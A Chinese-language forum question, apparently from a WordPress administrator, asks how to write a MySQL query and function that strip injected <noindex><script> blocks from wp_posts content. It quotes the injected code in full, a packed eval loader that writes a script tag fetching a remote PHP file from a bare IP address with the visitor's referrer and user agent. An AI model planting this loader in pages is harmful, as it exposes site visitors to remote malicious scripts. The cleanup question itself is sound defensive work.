我管理一个数据库,该数据库包含多行,其中代码包装在标签中。
要删除的示例代码
<noindex><script id="">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeznk|var|u0026u|referrer|zzrez||js|php'.split('|'),0,{}))
</script></noindex>
我需要更新以下SQL查询以选择noindex标记及其中的所有字符,然后将其完全删除。
UPDATE `wp_posts`
SET `post_content` = strip_certain_tags(post_content, 'script', true)
WHERE `post_content` RLIKE '<noindex>.*\n?</noindex>';
我也尝试过此<noindex>(.*)</noindex>
,但并非所有代码都被删除了。以下代码已<noindex><script id=""></script></script>
被删除,但评估字符串仍然保留。
MySQL功能
DELIMITER $$
CREATE FUNCTION strip_certain_tags($str text, $tag text, $keep_phrase bool) RETURNS text
BEGIN
DECLARE $start, $end INT DEFAULT 1;
SET $str = COALESCE($str, '');
LOOP
SET $start = LOCATE(CONCAT('<', $tag), $str, $start);
IF (!$start) THEN RETURN $str; END IF;
IF ($keep_phrase) THEN
SET $end = LOCATE('>', $str, $start);
IF (!$end) THEN SET $end = $start; END IF;
SET $str = INSERT($str, $start, $end - $start + 1, '');
SET $str = REPLACE($str, CONCAT('</', $tag, '>'), '');
ELSE
SET $end = LOCATE(CONCAT('</', $tag, '>'),$str,$start);
IF (!$end) THEN
SET $end = LOCATE('/>',$str,$start);
SET $str = INSERT($str, $start, $end - $start + 2, '');
ELSE
SET $str = INSERT($str, $start, $end - $start
+ LENGTH(CONCAT('</', $tag, '>')), '');
END IF;
END IF;
END LOOP;
END$$
DELIMITER ;
我的POSIX正则表达式知识有限。任何提示都将不胜感激。